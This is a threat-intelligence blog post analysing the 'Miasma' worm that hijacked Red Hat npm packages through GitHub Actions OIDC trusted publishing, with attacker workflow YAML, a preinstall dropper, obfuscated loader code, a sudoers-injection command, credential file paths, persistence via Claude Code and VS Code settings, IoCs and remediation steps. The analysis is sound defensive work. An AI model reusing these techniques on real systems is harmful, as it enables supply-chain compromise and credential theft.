Supply Chain Crisis: Over 30 Red Hat npm Packages Hijacked to Spread the Self-Propagating ‘Miasma’ Worm

The CyberSec Guru

Updated on:

Red Hat npm Packages Compromised

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you ran npm install on anything under the @redhat-cloud-services scope today, stop what you’re doing.

On the morning of June 1, 2026, attackers quietly pushed backdoored versions of at least 32 packages across the official Red Hat npm scope, around 64 individual package versions in total, with a confirmed third wave bringing that number closer to 95 – all carrying a credential-stealing, self-replicating worm called Miasma. The malware executes the moment you run npm install. It doesn’t wait for your app to start. It doesn’t need to be imported. It just runs.

What makes this attack genuinely alarming isn’t just the breadth of the compromise. It’s how the attackers got there. They didn’t steal anyone’s login. They didn’t brute-force a token. They found a structural gap in how npm’s trusted publishing system handles GitHub Actions, one that let them mint a perfectly valid, provenance-attested package publish event using nothing but a temporary branch on Red Hat’s own repositories.

How the Attack Actually Worked

To understand why this is serious, you need to understand what npm’s Trusted Publishing feature is supposed to do.

Trusted Publishing, also called OIDC publishing is a relatively recent addition to the npm registry. It’s meant to make CI/CD publishing more secure by tying a package’s publish authority to a specific GitHub repository and workflow file, removing the need to store long-lived npm tokens in your CI secrets. On paper, that’s a good idea. GitHub issues short-lived OIDC identity tokens to workflows, those tokens get exchanged for npm publish tokens, and you never have to manually manage credentials.

The problem is that the trust binding doesn’t include branches. The registry cares that the publish came from repository RedHatInsights/javascript-clients running workflow .github/workflows/ci.yml, it does not care which branch that workflow ran on.

The attackers found this and used it methodically.

They targeted three repositories inside the RedHatInsights GitHub organization: javascript-clients, frontend-components, and platform-frontend-ai-toolkit. On each, they pushed short-lived branches with names following the pattern oidc-<hex>, meaningless hex strings, presumably to avoid naming collisions or triggering obvious alerts. Because these were branches on the legitimate repositories (not forks), they triggered the repositories’ existing GitHub Actions workflows.

We know exactly what those branches contained, because the npm provenance attestations record it. Pull the SLSA predicate for the malicious patch-client@4.0.4 and compare it to the clean 4.0.3:

bash

$ curl -s "https://registry.npmjs.org/-/npm/v1/attestations/@redhat-cloud-services%2fpatch-client@4.0.4" \
| jq '.attestations[] | select(.predicateType|test("slsa")) | .bundle.dsseEnvelope.payload | @base64d | fromjson | .predicate.buildDefinition.externalParameters.workflow'
# Malicious 4.0.4:
{
"ref": "refs/heads/oidc-4d5900f3",
"repository": "https://github.com/RedHatInsights/javascript-clients",
"path": ".github/workflows/ci.yml"
}
# Clean 4.0.3:
{ "ref": "refs/heads/main", "repository": ".../javascript-clients", "path": ".github/workflows/ci.yml" }

Same repository, same workflow path, same push trigger. The only difference is the ref: 4.0.3 was built from refs/heads/main, and 4.0.4 from refs/heads/oidc-4d5900f3 – a branch that no longer exists. The head commit 608d011 is unsigned, persists as a dangling object, and added exactly two files.

On each ephemeral branch, the attacker replaced the entire CI pipeline with a single self-publishing job:

yaml

# .github/workflows/ci.yml @ 608d011 (attacker branch oidc-4d5900f3)
name: release
on:
push:
branches: ['*'] # main only triggers on [main]; this fires on ANY branch
jobs:
release:
permissions:
id-token: write # request the OIDC token used for trusted publishing
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- name: prepare
run: bun run _index.js
env:
OIDC_PACKAGES: '@redhat-cloud-services/compliance-client, ...patch-client... (15 packages)'
WORKFLOW_ID: 'ci.yml'
REPO_ID_SUFFIX: 'RedHatInsights/javascript-clients'

The commit also added _index.js: a 4.2 MB file with the same ROT-9 obfuscation wrapper as the dropper itself. Run inside the workflow with id-token: write, it reads the OIDC_PACKAGES list, exchanges the GitHub Actions OIDC token for an npm publish token, then for each target downloads the legitimate tarball, injects the preinstall hook and the dropper index.js, and republishes with provenance.

Because the publishing was triggered by GitHub Actions tied to the official repositories, the registry accepted the publish event and generated a valid npm provenance attestation, making the malicious versions appear entirely legitimate to automated security scanners. npm audit signatures reports these versions as verified.

The Attack Path
The Attack Path

The Blast Radius: Three Repositories, Two Waves Each

The same pattern repeated across all three RedHatInsights repositories, each with its own pair of throwaway oidc-<hex> branches:

RepositoryWorkflowBranchesPackages
javascript-clientsci.ymloidc-4d5900f3, oidc-6523a11b15 (14 *-client + javascript-clients-shared)
frontend-componentsci.yamloidc-61fff775, oidc-af10000d14 (chrome, frontend-components*, types, …)
platform-frontend-ai-toolkitrelease.ymloidc-2530ec68, oidc-93b9a9553 (hcc-*-mcp)

Each repository got two runs roughly three hours apart. The first wave was unpublished afterward; the second wave bumped the next patch number and remained live as the latest version. This is a critical detail: upgrading to the latest patch version installs the payload rather than removing it. At the time of writing, patch-client@4.0.5, compliance-client@4.0.4, and rbac-client@9.0.4 all ship the preinstall dropper and a ~4 MB index.js.

Initial Access: Still an Open Question

The provenance records prove the publish path. They do not prove how the attacker obtained write access to push branches into three RedHatInsights repositories. The head commits are unsigned and attributed to a real Red Hat engineer (justinorringer), but git author metadata is forgeable, and normal pushes to these repos come from automation accounts (nacho-bot, platex-rehor-bot), not individual engineers. Whether initial access came through a compromised contributor account, a stolen session token, or something else hasn’t been confirmed at the time of writing.

What Miasma Does Once It Runs

The malicious payload is delivered through a single added line in each compromised package’s package.json. The diff between a clean version and a malicious one is minimal – the attacker added only a preinstall hook and nothing else in the manifest:

json

"scripts": {
"doc": "typedoc",
"preinstall": "node index.js"
}

The preinstall hook runs before the package’s dependencies are resolved, before npm install completes, and before the developer gets any success notification. You don’t need to import or require anything. The moment npm starts installing the package, the payload is already executing.

One detail worth pausing on: several of the affected packages are type-only helper packages, such as @redhat-cloud-services/types. Type packages don’t do anything at runtime. They’re just TypeScript definitions. A type package with a preinstall script is an immediate red flag for anyone inspecting the package manifest manually but most developers don’t do that.

The package’s main field still points at ./index.js, which is the package’s normal barrel file, except it’s no longer a barrel file. In the clean version of patch-client, index.js is 7.9 KB of Object.defineProperty re-exports. In the compromised version, it’s 4.3 MB:

bash

$ ls -la clean/index.js malicious/index.js
-rw-r--r-- 7926 clean/index.js
-rw-r--r-- 4294136 malicious/index.js
$ grep -c "viewSystemsAdvisories" malicious/index.js
0

The attacker removed the original exports entirely and replaced the whole API surface.

The Obfuscation Stack

Layer 1 – ROT-9 Encoded Loader: The outermost shell is a single JavaScript statement that maps a 1.27 million-entry character-code array through String.fromCharCode, joins it, Caesar-shifts by 9, and passes everything to eval:

javascript

// package/index.js (4.0.4), truncated
try {
eval(
(function (s, n) {
return s.replace(/[a-zA-Z]/g, function (c) {
var b = c <= 'Z' ? 65 : 97;
return String.fromCharCode(((c.charCodeAt(0) - b + n) % 26) + b);
});
})(
[40, 114, 106, 112, 101, 116, /* 1,272,397 entries */]
.map(function (c) { return String.fromCharCode(c); })
.join(''),
9
)
);
} catch (e) {
console.log('wrapper:', e.message || e);
}

ROT-9 defeats simple string searches and grep-based scanners looking for obvious keywords like exec or fetch. The loader reconstructs and evaluates a JavaScript string at runtime, specifically to escape static analysis tools that parse the file without executing it.

Layer 2 – AES-128-GCM Encrypted Blobs: Strip away Layer 1 and you find an async loader that imports node:crypto and defines an AES-128-GCM helper, then decrypts two embedded blobs with hardcoded keys:

javascript

// Layer 1, ROT-9 decoded
const _c = await import("node:crypto");
const _d = (k, i, a, c) => {
const d = _c.createDecipheriv("aes-128-gcm",
Buffer.from(k, "hex"), Buffer.from(i, "hex"), { authTagLength: 16 });
d.setAuthTag(Buffer.from(a, "hex"));
return Buffer.concat([d.update(Buffer.from(c, "hex")), d.final()])
};
const _b = _d("fe0d71d57ecf4fa0a433185bf59a03f5", /* iv, tag */, /* 899 bytes */).toString("utf8")
const _p = _d("f5e5dca9b725ec18514c4b322ed35d2b", /* iv, tag */, /* 634 KB */).toString("utf8")

The hardcoded AES-128-GCM keys are confirmed IoCs: fe0d71d57ecf4fa0a433185bf59a03f5 and f5e5dca9b725ec18514c4b322ed35d2b. Static decryption of the payload blob matches the published SHA-256 hash 0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35.

Layer 3 – Bun Runtime Download and Execution:

javascript

// Layer 1 tail, decoded
const t = '/tmp/p' + Math.random().toString(36).slice(2) + '.js';
_fs.writeFileSync(t, _p);
if (typeof Bun !== 'undefined') {
_cp.execSync('bun run "' + t + '"', { stdio: 'inherit' });
} else {
await (0, eval)(_b);
_cp.execSync('"' + getBunPath() + '" run "' + t + '"', { stdio: 'inherit' });
}

If the target machine doesn’t have Bun installed, the bootstrapper fetches bun-v1.3.13 directly from GitHub’s official release mirror – choosing the right binary for Linux, macOS, or Windows automatically:

javascript

const url = 'https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-' + os + '-' + a + '.zip';
execSync('curl -sSL "' + url + '" -o "' + zip + '"', { stdio: 'pipe' });
execSync('unzip -j -o "' + zip + '" -d "' + dir + '"', { stdio: 'pipe' });
chmodSync(exe, '755');

Using a download from github.com/oven-sh/bun/releases is intentional. Many corporate network security tools maintain allowlists for GitHub traffic, so this download often passes without inspection. The actual malicious payload runs from a temp file under /tmp/p*.js that’s deleted almost immediately after execution. Runtime artifacts to look for: /tmp/p<random>.js, /tmp/b-<random>/bun, /tmp/kitty-<random>.

The attacker ran the payload under Bun rather than Node specifically because Bun bundles its own TypeScript runtime, fetch, crypto, and shell primitives – the worm doesn’t touch the victim’s Node installation at all.

The Payload’s Inner Obfuscation Layer

The 634 KB core payload uses two stacked obfuscation schemes. The outer layer uses the obfuscator.io string-array scheme: hex-named variables, a self-rotating string table with 2,219 entries (rotated to checksum 0x85d3f), and a custom base64 alphabet (abc…xyzABC…XYZ0-9+/). The inner layer is a PBKDF2 + SHA-256-keystream S-box cipher installed onto globalThis["f4abccab2"] under a name pulled from the string table at runtime. PBKDF2 derives a 32-byte master key from hardcoded seed P9 and salt N9 at 200,000 iterations; decryption then runs three rounds of per-index SHA-256-keystream S-box substitution with plaintext chaining.

Static analysis resolved all 1,577 string-array references and 371 globalThis["f4abccab2"] calls where the argument is a literal. The decoded string table is where the payload’s actual targets become clear and it’s comprehensive.

What Gets Stolen

Cloud infrastructure credentials:

  • AWS: IMDSv2 metadata endpoint (http://169.254.169.254/latest/meta-data/iam/security-credentials/), ECS task role credentials (http://169.254.170.2), Secrets Manager (secretsmanager:GetSecretValue, secretsmanager:ListSecrets), SSM parameter values
  • GCP: Application Default Credentials (https://www.googleapis.com/auth/cloud-platform), service account key files, Secret Manager, Cloud Resource Manager
  • Azure: Managed identity tokens (https://login.microsoftonline.com), service principal credentials, Key Vault secrets (https://vault.azure.net)

CI/CD tokens: GITHUB_TOKEN, ACTIONS_RUNTIME_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, CircleCI tokens, GitLab runner credentials, Buildkite, Vercel, Travis CI, Jenkins, approximately 40 CI providers in total.

Orchestration and secrets managers: Kubernetes service account tokens (/var/run/secrets/kubernetes.io/serviceaccount/token), kubeconfig profiles (~/.kube/config, /etc/rancher/k3s/k3s.yaml), HashiCorp Vault tokens (VAULT_TOKEN, VAULT_AUTH_TOKEN, VAULT_API_TOKEN).

Developer machine credentials: SSH private keys (~/.ssh/id*, ~/.ssh/id_rsa, ~/.ssh/id_ed25519), GPG signing keys, Docker registry auth configs (~/.docker/config.json), .env files across the filesystem, .npmrc, .pypirc, .netrc, git credentials (~/.git-credentials, ~/.config/git/credentials), and local password manager databases including Bitwarden and gopass vaults.

Cryptocurrency wallets: ~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, ~/.electrum/wallets/*.

Beyond environment variables (129 process.env accesses in total), the payload runs TruffleHog-style regex scans against harvested text, matching gh[op]_ and npm_ token prefixes, AKIA AWS key IDs, GCP service account JSON, Azure connection strings, Stripe sk_/pk_ keys, and database connection strings.

The payload also runs gh auth token directly via shell to collect the local GitHub CLI authentication token, and reads shell history and database history files from disk.

One specific string in the decoded table stands out as an unambiguous IoC: IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner – used as a commit message prefix during GitHub-based exfiltration.

Bypassing CI Log Masking via /proc/mem

Modern CI platforms like GitHub Actions automatically mask sensitive environment variables in build logs. If AWS_SECRET_ACCESS_KEY is set in your workflow environment, the runner intercepts any log output containing that string and replaces it with ***.

Miasma doesn’t go through the log. On Linux environments, it reads /proc/mem directly – the raw process memory of the running environment. Environment variables, including those flagged for masking, are stored in memory as plain text. By reading memory directly, the malware extracts the raw, unmasked string values before any log scrubbing layer gets involved. The mask only applies to what gets written to the log output stream; it does nothing to the in-memory representation of the variable.

The payload’s GitHub Actions-specific harvesting module is defined with "aggressive" priority, explicitly checks for GITHUB_ACTIONS === "true", and attempts privileged command execution on Linux runners via sudo.

How Stolen Data Gets Out

Exfiltration uses two channels.

The primary channel compresses stolen data with gzip, encrypts it with AES-256-GCM using a per-session random key, then RSA-OAEP wraps that key with the attacker’s public key before sending the envelope via HTTPS POST. The decoded destination in the analyzed payload is https://api.anthropic.com:443/v1/api. This is not Anthropic infrastructure operated by the threat actor, but rather a spoofed endpoint path. Network detections should flag unexpected POST traffic to this host from npm lifecycle scripts or CI runners.

The fallback channel uses any stolen GitHub token to commit encrypted JSON result files to attacker-created GitHub repositories. These repositories carry the description Miasma: The Spreading Blight in their metadata. Files are committed as results-<timestamp>-<counter>.json, and the commit message may include the string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner:<token>. GitHub API calls use a spoofed User-Agent: python-requests/2.31.0 header to blend with typical automation traffic.

How It Spreads

Miasma isn’t a one-shot stealer. It actively attempts to spread.

npm Registry Propagation: After harvesting npm publish tokens, the payload calls the OIDC token exchange endpoint (https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/), queries /-/whoami and /-/v1/search?text=maintainer:<user>&size=250 to determine which scopes and packages the victim’s account can publish to, then injects its own preinstall loader into those packages and publishes backdoored versions signed through Sigstore using https://fulcio.sigstore.dev and https://rekor.sigstore.dev, with valid provenance attached.

Git Repository Injection: For GitHub propagation, the worm enumerates repositories the stolen token can write to, reads action.yml/action.yaml via GraphQL, and commits a new workflow through the createCommitOnBranch mutation so the commit appears as a verified, signed change. The branch name, target file, and pinned Action commit are fixed across all victims:

Branch: chore/add-codeql-static-analysis
File: .github/workflows/codeql.yml
Checkout: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd

The injected workflow pins actions/checkout to a specific commit hash rather than a tag, which looks like responsible supply-chain hygiene. A pull request claiming to add CodeQL static analysis reads as a security improvement – the kind of change a maintainer approves without close review.

IDE and AI Agent Persistence: The payload targets developer tooling directories specifically to survive standard remediation actions like running npm uninstall or wiping node_modules.

For Claude Code users, the malware targets .claude/settings.json, injecting hooks with a SessionStart reference so that any subsequent Claude CLI invocation re-executes the payload.

For VS Code users, it modifies .vscode/tasks.json to register a silent background task that runs the malware every time the workspace folder is opened.

Both persistence mechanisms survive in directories that most malware scanners don’t inspect, using file paths that aren’t obviously malicious.

Container Escape: If the Docker socket is reachable, the payload launches a container that bind-mounts /etc/sudoers.d and grants the CI runner passwordless sudo:

bash

/var/run/docker.sock
# Mount: /etc/sudoers.d:/mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner

Background Daemonization: On developer workstations (non-CI environments), the payload detaches itself into a background process using child_process.spawn with detached: true and stdio: "ignore", setting __IS_DAEMON=1 in the environment to prevent re-daemonization. A lock file at tmp.0987654321.lock prevents duplicate instances. This means credential scanning and exfiltration continue well after the npm install process exits.

EDR Awareness: Before executing sensitive operations, the payload probes for endpoint protection:

detectHardenRunner / harden-runner
/opt/CrowdStrike / falcon-sensor
/opt/sentinelone
/opt/carbonblack

Russian-locale Avoidance: The payload checks Intl.DateTimeFormat().resolvedOptions().locale and the LC_ALL, LC_MESSAGES, LANGUAGE, and LANG environment variables. If the system locale starts with ru, specific behaviors are suppressed – a common pattern in crimeware that suggests the operator group is based in, or has ties to, Russian-speaking regions.

Anti-Analysis Environment Checks: If __FAKE_PLATFORM__, TESTING_TAR_FAKE_PLATFORM, __IS_DAEMON, or SKIP_DOMAIN are set in the environment, the payload suppresses specific behaviors. These tripwires keep the worm quiet inside automated analysis sandboxes while it runs freely in production environments.

The Miasma / Shai-Hulud Lineage

The Miasma campaign didn’t emerge from nowhere.

April 22, 2026 – The first confirmed Shai-Hulud attack targeted @bitwarden/cli on npm, introducing the “Shai-Hulud: The Third Coming” signature, a reference to the sandworms in Frank Herbert’s Dune series.

April 29–30, 2026 – The same framework compromised SAP npm packages and PyTorch Lightning on PyPI, indicating the attackers weren’t constrained to the JavaScript ecosystem.

May 12, 2026 – A substantially larger coordinated wave hit more than 160 npm packages, including load-bearing utilities used by Mistral and TanStack. Shortly after, a group called TeamPCP published the full Shai-Hulud source code to GitHub and advertised it on BreachForums, making the underlying framework available to any actor willing to adapt it.

May 19, 2026 – Microsoft’s DurableTask npm package was compromised through a hijacked GitHub account rather than an OIDC exploit.

June 1, 2026 – The Miasma campaign. The Greek mythology rebranding (“Miasma: The Spreading Blight”), the shift from stolen accounts to a structural OIDC pipeline exploit, altered exfiltration channels, and updated static analysis evasions are consistent with a separate actor who studied the now-public Shai-Hulud code and improved it. The timeline from “framework published” (May 12) to “refined campaign executes” (June 1) is three weeks.

Compromised Packages

Full Package List

The attack rolled out in at least three distinct waves with the first starting around 10:54 UTC, a second around 13:45 UTC, and a third around 14:23 UTC – with detection lagging by roughly an hour each time. The confirmed total across all waves is 95 compromised versions.

PackageCompromised Versions
@redhat-cloud-services/chrome2.3.1, 2.3.2, 2.3.4
@redhat-cloud-services/compliance-client4.0.3, 4.0.4, 4.0.6
@redhat-cloud-services/config-manager-client5.0.4, 5.0.5, 5.0.7
@redhat-cloud-services/entitlements-client4.0.11, 4.0.12, 4.0.14
@redhat-cloud-services/eslint-config-redhat-cloud-services3.2.1, 3.2.2, 3.2.4
@redhat-cloud-services/frontend-components7.7.2, 7.7.3, 7.7.5
@redhat-cloud-services/frontend-components-advisor-components3.8.2, 3.8.4, 3.8.6
@redhat-cloud-services/frontend-components-config6.11.3, 6.11.4, 6.11.6
@redhat-cloud-services/frontend-components-config-utilities4.11.2, 4.11.3, 4.11.5
@redhat-cloud-services/frontend-components-notifications6.9.2, 6.9.3, 6.9.5
@redhat-cloud-services/frontend-components-remediations4.9.2, 4.9.3, 4.9.5
@redhat-cloud-services/frontend-components-testing1.2.1, 1.2.2
@redhat-cloud-services/frontend-components-translations4.4.1, 4.4.2, 4.4.4
@redhat-cloud-services/frontend-components-utilities7.4.1, 7.4.2, 7.4.4
@redhat-cloud-services/hcc-feo-mcp0.3.1, 0.3.2, 0.3.4
@redhat-cloud-services/hcc-kessel-mcp0.3.1, 0.3.2, 0.3.4
@redhat-cloud-services/hcc-pf-mcp0.6.1, 0.6.2, 0.6.4
@redhat-cloud-services/host-inventory-client5.0.3, 5.0.4, 5.0.6
@redhat-cloud-services/insights-client4.0.4, 4.0.5, 4.0.7
@redhat-cloud-services/integrations-client6.0.4, 6.0.5, 6.0.7
@redhat-cloud-services/javascript-clients-shared2.0.8, 2.0.9, 2.0.11
@redhat-cloud-services/notifications-client6.1.4, 6.1.5, 6.1.7
@redhat-cloud-services/patch-client4.0.4, 4.0.5, 4.0.7
@redhat-cloud-services/quickstarts-client4.0.11, 4.0.12, 4.0.14
@redhat-cloud-services/rbac-client9.0.3, 9.0.4, 9.0.6
@redhat-cloud-services/remediations-client4.0.4, 4.0.5, 4.0.7
@redhat-cloud-services/rule-components4.7.2, 4.7.3, 4.7.5
@redhat-cloud-services/sources-client3.0.10, 3.0.11, 3.0.13
@redhat-cloud-services/topological-inventory-client3.0.10, 3.0.11, 3.0.13
@redhat-cloud-services/tsc-transform-imports1.2.2, 1.2.4, 1.2.6
@redhat-cloud-services/types3.6.1, 3.6.2, 3.6.4
@redhat-cloud-services/vulnerabilities-client2.1.8, 2.1.9, 2.1.11

File Hashes (patch-client@4.0.4 sample)

ArtifactSHA-256
@redhat-cloud-services/chrome-2.3.1.tar.gz88896d478986d453f5da79b311de39d9b4b1bea95c21af1d8ef181b0f4e52fe9
package/index.js (malicious)21b6409a7b84446310daca5409ad6112ac60a1e4bef97736e53fff5f63bfdef4
package/package.jsonee262510cb246d2b904991aee7fc61162bdae34463439ec6383bd5356479d362
patch-client-4.0.4.tar.gz tarball031ba872d5a84bfb18115f432811e4b45180346a1bae653f7fd85f918e7bb3a3
index.js (patch-client)df1732f5bfec12e066be44dee02ec8a243e4868d38672c1b1d065359dd735a14
Decrypted Bun helper blobac2a2208e1726e008be6c73dc0872d9bba163319259dff1b62055ac933ca46b6
Decrypted main payload0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35

Cryptographic Indicators

Hardcoded AES-128-GCM keys: fe0d71d57ecf4fa0a433185bf59a03f5, f5e5dca9b725ec18514c4b322ed35d2b

Code and String Indicators

f4abccab2 (custom decrypt primitive name)
thebeautifulmarchoftime (hardcoded string in payload)
IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner
Miasma: The Spreading Blight (attacker repo description)
python-requests/2.31.0 (spoofed User-Agent)
"preinstall":"node index.js"
createDecipheriv("aes-128-gcm"
createCipheriv("aes-256-gcm"
RSA_PKCS1_OAEP_PADDING / oaepHash:"sha256"
__IS_DAEMON / SKIP_DOMAIN / __FAKE_PLATFORM__

Host and Execution Indicators

node index.js (preinstall execution)
bun run /tmp/p*.js
/tmp/p<random>.js
/tmp/b-*/bun / /tmp/b-*/bun.exe
/tmp/kitty-<random>
tmp.0987654321.lock (deduplication lock file)
curl -sSL ... github.com/oven-sh/bun/releases
unzip -j -o
gh auth token
ps aux 2>/dev/null / tasklist 2>/dev/null

GitHub Repository Markers (Fallback Exfil)

Repository description: "Miasma: The Spreading Blight"
Committed files: results-<timestamp>-<counter>.json
Commit message prefix: IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner:<token>
Injected branch: chore/add-codeql-static-analysis
Injected file: .github/workflows/codeql.yml
Pinned action: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd

Network Indicators

The following endpoint is decoded from the payload’s encrypted exfiltration logic. The domain belongs to Anthropic, not the threat actor – the suspicious signal is unexpected POST traffic to this host originating from npm lifecycle scripts or CI build steps:

https://api.anthropic.com:443/v1/api (primary exfil, spoofed path)

The following are legitimate services used by the malware for staging, credential validation, and propagation. Flag unexpected access to these endpoints from package installation or build steps:

https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/
https://api.github.com / https://api.github.com/graphql
https://registry.npmjs.org/-/npm/v1/tokens
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
https://registry.npmjs.org/-/whoami
https://registry.npmjs.org/-/v1/search?text=maintainer:<user>&size=250
https://fulcio.sigstore.dev/api/v2/signingCert
https://rekor.sigstore.dev/api/v1/log/entries
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/api/token
http://169.254.170.2
https://login.microsoftonline.com
https://management.azure.com / https://vault.azure.net
https://secretmanager.googleapis.com
https://cloudresourcemanager.googleapis.com

Token Patterns to Hunt

gh[op]_[A-Za-z0-9]{36,}
npm_[A-Za-z0-9]{36,}
ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+
ghs_[A-Za-z0-9]{36,}

What to Do Right Now

Step 1: Contain

Kill any active CI/CD build runners operating on the affected repositories immediately. A runner currently mid-build on a compromised package is actively exfiltrating credentials.

Delete your node_modules directories and lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml) on every machine that may have installed these packages. Don’t just reinstall, delete first.

Manually inspect your .claude/ and .vscode/ directories for anything you didn’t put there. Look specifically for scripts or task definitions that reference temp paths, encode commands in base64, or make network calls. Delete anything suspicious.

Check for the lock file tmp.0987654321.lock and any running processes involving bun run /tmp/p*.js – the payload may still be running as a detached background process.

Step 2: Rotate Everything

Because Miasma reads raw process memory, you cannot assume a credential that was merely present on a compromised machine is safe. Rotate:

  • AWS IAM credentials and any active sessions
  • GCP service account keys
  • Azure service principal secrets and managed identity tokens
  • Kubernetes service account tokens; rebuild your .kube/config
  • npm and PyPI publishing tokens
  • SSH keys and GPG signatures
  • Any secrets stored in .env files on affected machines
  • GitHub tokens, including fine-grained PATs
  • Stripe keys, database connection strings, and any other application secrets that were in environment variables

Step 3: Audit GitHub and npm Activity

Review your GitHub organization for newly created repositories, unexpected branches named chore/add-codeql-static-analysis, new or modified .github/workflows/codeql.yml files, and commits containing files named results-<timestamp>-<counter>.json. Check commit history for the author justinorringer on repositories where that account shouldn’t have been active.

Review npm publisher activity for unexpected package versions published from automation tokens, or any packages where the current latest version was published in the UTC morning window today.

Step 4: Supply Chain Hardening Going Forward

Restrict default GitHub Actions token permissions to least privilege and separate build, test, release, and publishing jobs. Avoid exposing npm publishing tokens or cloud credentials to routine dependency installation steps.

Consider running npm install --ignore-scripts by default in CI pipelines and allowlisting only the specific packages that genuinely require install scripts. This would have stopped this attack cold.

Add network egress controls for CI/CD runners. Alert on unexpected outbound traffic during dependency installation, especially curl calls to GitHub release endpoints, unexpected HTTPS POSTs, or GitHub Contents API writes.

Do not treat npm provenance as a complete control. In this incident, every malicious release carries a valid provenance attestation. Defenders need runtime monitoring and package behavior analysis in addition to provenance checks.

Frequently Asked Questions

Does npm 2FA protect against Miasma hijacking my packages?

No. Miasma collects active, authenticated session tokens from your local environment, the tokens that were already issued after your 2FA login. It uses those active sessions to publish, bypassing the MFA prompt entirely because the session is already authenticated.

Would my EDR have caught this?

Probably not. The malware downloads the Bun JavaScript runtime directly from GitHub’s official release URLs – a legitimate developer tool from a trusted domain. Most signature-based EDR tools don’t flag Bun. The actual malicious payload runs from a temp file that’s deleted almost immediately after execution. The payload also explicitly probes for CrowdStrike, SentinelOne, Carbon Black, and StepSecurity Harden-Runner before taking sensitive actions.

How did attackers get into Red Hat’s repositories?

They may not have needed deep access. The OIDC exploit requires only the ability to push a branch to the repository and modify a workflow file. Whether this came through a compromised contributor account or some other vector hasn’t been confirmed.

Is Miasma the same thing as Shai-Hulud?

It’s a derivative built from the same public codebase. The original Shai-Hulud framework went public on May 12. Miasma replaces the Dune mythology references with Greek mythology, uses different exfiltration infrastructure, adds Russian-locale avoidance, and includes several evasion improvements specifically aimed at detectors written in response to the May wave.

I pinned to a specific version in my lockfile. Am I safe?

Only if that specific version predates June 1, 2026. The original article reported 64 compromised versions. The confirmed total is now 95. The attackers pushed a third wave of backdoored releases in the early afternoon UTC window, after the first wave’s version list was already published but apparently before registry takedowns were in place. Check your specific version against the full table above, not just the first-wave list.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading